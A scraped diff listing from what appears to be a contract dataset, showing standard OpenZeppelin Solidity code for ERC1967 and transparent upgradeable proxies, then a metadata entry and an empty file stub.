assembly {
|
415 |
+
r.slot := slot
|
416 |
+
}
|
417 |
+
}
|
418 |
+
|
419 |
+
/**
|
420 |
+
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
|
421 |
+
*/
|
422 |
+
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
|
423 |
+
/// @solidity memory-safe-assembly
|
424 |
+
assembly {
|
425 |
+
r.slot := slot
|
426 |
+
}
|
427 |
+
}
|
428 |
+
|
429 |
+
/**
|
430 |
+
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
|
431 |
+
*/
|
432 |
+
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
|
433 |
+
/// @solidity memory-safe-assembly
|
434 |
+
assembly {
|
435 |
+
r.slot := slot
|
436 |
+
}
|
437 |
+
}
|
438 |
+
|
439 |
+
/**
|
440 |
+
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
|
441 |
+
*/
|
442 |
+
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
|
443 |
+
/// @solidity memory-safe-assembly
|
444 |
+
assembly {
|
445 |
+
r.slot := slot
|
446 |
+
}
|
447 |
+
}
|
448 |
+
}
|
449 |
+
|
450 |
+
// File: @openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol
|
451 |
+
|
452 |
+
|
453 |
+
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
|
454 |
+
|
455 |
+
pragma solidity ^0.8.2;
|
456 |
+
|
457 |
+
|
458 |
+
|
459 |
+
|
460 |
+
/**
|
461 |
+
* @dev This abstract contract provides getters and event emitting update functions for
|
462 |
+
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
|
463 |
+
*
|
464 |
+
* _Available since v4.1._
|
465 |
+
*
|
466 |
+
* @custom:oz-upgrades-unsafe-allow delegatecall
|
467 |
+
*/
|
468 |
+
abstract contract ERC1967Upgrade {
|
469 |
+
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
|
470 |
+
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
|
471 |
+
|
472 |
+
/**
|
473 |
+
* @dev Storage slot with the address of the current implementation.
|
474 |
+
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
|
475 |
+
* validated in the constructor.
|
476 |
+
*/
|
477 |
+
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
|
478 |
+
|
479 |
+
/**
|
480 |
+
* @dev Emitted when the implementation is upgraded.
|
481 |
+
*/
|
482 |
+
event Upgraded(address indexed implementation);
|
483 |
+
|
484 |
+
/**
|
485 |
+
* @dev Returns the current implementation address.
|
486 |
+
*/
|
487 |
+
function _getImplementation() internal view returns (address) {
|
488 |
+
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
|
489 |
+
}
|
490 |
+
|
491 |
+
/**
|
492 |
+
* @dev Stores a new address in the EIP1967 implementation slot.
|
493 |
+
*/
|
494 |
+
function _setImplementation(address newImplementation) private {
|
495 |
+
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
|
496 |
+
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
|
497 |
+
}
|
498 |
+
|
499 |
+
/**
|
500 |
+
* @dev Perform implementation upgrade
|
501 |
+
*
|
502 |
+
* Emits an {Upgraded} event.
|
503 |
+
*/
|
504 |
+
function _upgradeTo(address newImplementation) internal {
|
505 |
+
_setImplementation(newImplementation);
|
506 |
+
emit Upgraded(newImplementation);
|
507 |
+
}
|
508 |
+
|
509 |
+
/**
|
510 |
+
* @dev Perform implementation upgrade with additional setup call.
|
511 |
+
*
|
512 |
+
* Emits an {Upgraded} event.
|
513 |
+
*/
|
514 |
+
function _upgradeToAndCall(
|
515 |
+
address newImplementation,
|
516 |
+
bytes memory data,
|
517 |
+
bool forceCall
|
518 |
+
) internal {
|
519 |
+
_upgradeTo(newImplementation);
|
520 |
+
if (data.length > 0 || forceCall) {
|
521 |
+
Address.functionDelegateCall(newImplementation, data);
|
522 |
+
}
|
523 |
+
}
|
524 |
+
|
525 |
+
/**
|
526 |
+
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
|
527 |
+
*
|
528 |
+
* Emits an {Upgraded} event.
|
529 |
+
*/
|
530 |
+
function _upgradeToAndCallUUPS(
|
531 |
+
address newImplementation,
|
532 |
+
bytes memory data,
|
533 |
+
bool forceCall
|
534 |
+
) internal {
|
535 |
+
// Upgrades from old implementations will perform a rollback test. This test requires the new
|
536 |
+
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
|
537 |
+
// this special case will break upgrade paths from old UUPS implementation to new ones.
|
538 |
+
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
|
539 |
+
_setImplementation(newImplementation);
|
540 |
+
} else {
|
541 |
+
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
|
542 |
+
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
|
543 |
+
} catch {
|
544 |
+
revert("ERC1967Upgrade: new implementation is not UUPS");
|
545 |
+
}
|
546 |
+
_upgradeToAndCall(newImplementation, data, forceCall);
|
547 |
+
}
|
548 |
+
}
|
549 |
+
|
550 |
+
/**
|
551 |
+
* @dev Storage slot with the admin of the contract.
|
552 |
+
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
|
553 |
+
* validated in the constructor.
|
554 |
+
*/
|
555 |
+
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
|
556 |
+
|
557 |
+
/**
|
558 |
+
* @dev Emitted when the admin account has changed.
|
559 |
+
*/
|
560 |
+
event AdminChanged(address previousAdmin, address newAdmin);
|
561 |
+
|
562 |
+
/**
|
563 |
+
* @dev Returns the current admin.
|
564 |
+
*/
|
565 |
+
function _getAdmin() internal view returns (address) {
|
566 |
+
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
|
567 |
+
}
|
568 |
+
|
569 |
+
/**
|
570 |
+
* @dev Stores a new address in the EIP1967 admin slot.
|
571 |
+
*/
|
572 |
+
function _setAdmin(address newAdmin) private {
|
573 |
+
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
|
574 |
+
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
|
575 |
+
}
|
576 |
+
|
577 |
+
/**
|
578 |
+
* @dev Changes the admin of the proxy.
|
579 |
+
*
|
580 |
+
* Emits an {AdminChanged} event.
|
581 |
+
*/
|
582 |
+
function _changeAdmin(address newAdmin) internal {
|
583 |
+
emit AdminChanged(_getAdmin(), newAdmin);
|
584 |
+
_setAdmin(newAdmin);
|
585 |
+
}
|
586 |
+
|
587 |
+
/**
|
588 |
+
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
|
589 |
+
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
|
590 |
+
*/
|
591 |
+
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
|
592 |
+
|
593 |
+
/**
|
594 |
+
* @dev Emitted when the beacon is upgraded.
|
595 |
+
*/
|
596 |
+
event BeaconUpgraded(address indexed beacon);
|
597 |
+
|
598 |
+
/**
|
599 |
+
* @dev Returns the current beacon.
|
600 |
+
*/
|
601 |
+
function _getBeacon() internal view returns (address) {
|
602 |
+
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
|
603 |
+
}
|
604 |
+
|
605 |
+
/**
|
606 |
+
* @dev Stores a new beacon in the EIP1967 beacon slot.
|
607 |
+
*/
|
608 |
+
function _setBeacon(address newBeacon) private {
|
609 |
+
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
|
610 |
+
require(
|
611 |
+
Address.isContract(IBeacon(newBeacon).implementation()),
|
612 |
+
"ERC1967: beacon implementation is not a contract"
|
613 |
+
);
|
614 |
+
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
|
615 |
+
}
|
616 |
+
|
617 |
+
/**
|
618 |
+
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
|
619 |
+
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
|
620 |
+
*
|
621 |
+
* Emits a {BeaconUpgraded} event.
|
622 |
+
*/
|
623 |
+
function _upgradeBeaconToAndCall(
|
624 |
+
address newBeacon,
|
625 |
+
bytes memory data,
|
626 |
+
bool forceCall
|
627 |
+
) internal {
|
628 |
+
_setBeacon(newBeacon);
|
629 |
+
emit BeaconUpgraded(newBeacon);
|
630 |
+
if (data.length > 0 || forceCall) {
|
631 |
+
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
|
632 |
+
}
|
633 |
+
}
|
634 |
+
}
|
635 |
+
|
636 |
+
// File: @openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol
|
637 |
+
|
638 |
+
|
639 |
+
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol)
|
640 |
+
|
641 |
+
pragma solidity ^0.8.0;
|
642 |
+
|
643 |
+
|
644 |
+
/**
|
645 |
+
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
|
646 |
+
* implementation address that can be changed. This address is stored in storage in the location specified by
|
647 |
+
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
|
648 |
+
* implementation behind the proxy.
|
649 |
+
*/
|
650 |
+
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
|
651 |
+
/**
|
652 |
+
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
|
653 |
+
*
|
654 |
+
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
|
655 |
+
* function call, and allows initializing the storage of the proxy like a Solidity constructor.
|
656 |
+
*/
|
657 |
+
constructor(address _logic, bytes memory _data) payable {
|
658 |
+
_upgradeToAndCall(_logic, _data, false);
|
659 |
+
}
|
660 |
+
|
661 |
+
/**
|
662 |
+
* @dev Returns the current implementation address.
|
663 |
+
*/
|
664 |
+
function _implementation() internal view virtual override returns (address impl) {
|
665 |
+
return ERC1967Upgrade._getImplementation();
|
666 |
+
}
|
667 |
+
}
|
668 |
+
|
669 |
+
// File: @openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol
|
670 |
+
|
671 |
+
|
672 |
+
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol)
|
673 |
+
|
674 |
+
pragma solidity ^0.8.0;
|
675 |
+
|
676 |
+
/**
|
677 |
+
* @dev This contract implements a proxy that is upgradeable by an admin.
|
678 |
+
*
|
679 |
+
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
|
680 |
+
* clashing], which can potentially be used in an attack, this contract uses the
|
681 |
+
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
|
682 |
+
* things that go hand in hand:
|
683 |
+
*
|
684 |
+
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
|
685 |
+
* that call matches one of the admin functions exposed by the proxy itself.
|
686 |
+
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
|
687 |
+
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
|
688 |
+
* "admin cannot fallback to proxy target".
|
689 |
+
*
|
690 |
+
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
|
691 |
+
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
|
692 |
+
* to sudden errors when trying to call a function from the proxy implementation.
|
693 |
+
*
|
694 |
+
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
|
695 |
+
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
|
696 |
+
*/
|
697 |
+
contract TransparentUpgradeableProxy is ERC1967Proxy {
|
698 |
+
/**
|
699 |
+
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
|
700 |
+
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
|
701 |
+
*/
|
702 |
+
constructor(
|
703 |
+
address _logic,
|
704 |
+
address admin_,
|
705 |
+
bytes memory _data
|
706 |
+
) payable ERC1967Proxy(_logic, _data) {
|
707 |
+
_changeAdmin(admin_);
|
708 |
+
}
|
709 |
+
|
710 |
+
/**
|
711 |
+
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
|
712 |
+
*/
|
713 |
+
modifier ifAdmin() {
|
714 |
+
if (msg.sender == _getAdmin()) {
|
715 |
+
_;
|
716 |
+
} else {
|
717 |
+
_fallback();
|
718 |
+
}
|
719 |
+
}
|
720 |
+
|
721 |
+
/**
|
722 |
+
* @dev Returns the current admin.
|
723 |
+
*
|
724 |
+
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
|
725 |
+
*
|
726 |
+
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
|
727 |
+
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
|
728 |
+
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
|
729 |
+
*/
|
730 |
+
function admin() external ifAdmin returns (address admin_) {
|
731 |
+
admin_ = _getAdmin();
|
732 |
+
}
|
733 |
+
|
734 |
+
/**
|
735 |
+
* @dev Returns the current implementation.
|
736 |
+
*
|
737 |
+
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
|
738 |
+
*
|
739 |
+
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
|
740 |
+
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
|
741 |
+
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
|
742 |
+
*/
|
743 |
+
function implementation() external ifAdmin returns (address implementation_) {
|
744 |
+
implementation_ = _implementation();
|
745 |
+
}
|
746 |
+
|
747 |
+
/**
|
748 |
+
* @dev Changes the admin of the proxy.
|
749 |
+
*
|
750 |
+
* Emits an {AdminChanged} event.
|
751 |
+
*
|
752 |
+
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
|
753 |
+
*/
|
754 |
+
function changeAdmin(address newAdmin) external virtual ifAdmin {
|
755 |
+
_changeAdmin(newAdmin);
|
756 |
+
}
|
757 |
+
|
758 |
+
/**
|
759 |
+
* @dev Upgrade the implementation of the proxy.
|
760 |
+
*
|
761 |
+
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
|
762 |
+
*/
|
763 |
+
function upgradeTo(address newImplementation) external ifAdmin {
|
764 |
+
_upgradeToAndCall(newImplementation, bytes(""), false);
|
765 |
+
}
|
766 |
+
|
767 |
+
/**
|
768 |
+
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
|
769 |
+
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
|
770 |
+
* proxied contract.
|
771 |
+
*
|
772 |
+
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
|
773 |
+
*/
|
774 |
+
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
|
775 |
+
_upgradeToAndCall(newImplementation, data, true);
|
776 |
+
}
|
777 |
+
|
778 |
+
/**
|
779 |
+
* @dev Returns the current admin.
|
780 |
+
*/
|
781 |
+
function _admin() internal view virtual returns (address) {
|
782 |
+
return _getAdmin();
|
783 |
+
}
|
784 |
+
|
785 |
+
/**
|
786 |
+
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
|
787 |
+
*/
|
788 |
+
function _beforeFallback() internal virtual override {
|
789 |
+
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
|
790 |
+
super._beforeFallback();
|
791 |
+
}
|
792 |
+
}
|
793 |
+
|
794 |
+
// File: contracts/TransparentUpgradeableProxy.sol
|
795 |
+
|
796 |
+
|
797 |
+
|
798 |
+
pragma solidity ^0.8.0;
|
organized_contracts/00/00063e5559b3523c1ebdd1774e6387d8d6a270f712578999183191e11a65ad30/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"TransparentUpgradeableProxy","CompilerVersion":"v0.8.7+commit.e28d00a7","Runs":200,"OptimizationUsed":false,"BytecodeHash":"00063e5559b3523c1ebdd1774e6387d8d6a270f712578999183191e11a65ad30"}
|
organized_contracts/00/00069936619801b0e6801aad2ccc146441de9568a1836ba002eaf5ae1c26b641/main.sol
ADDED
@@ -0,0 +1,1613 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
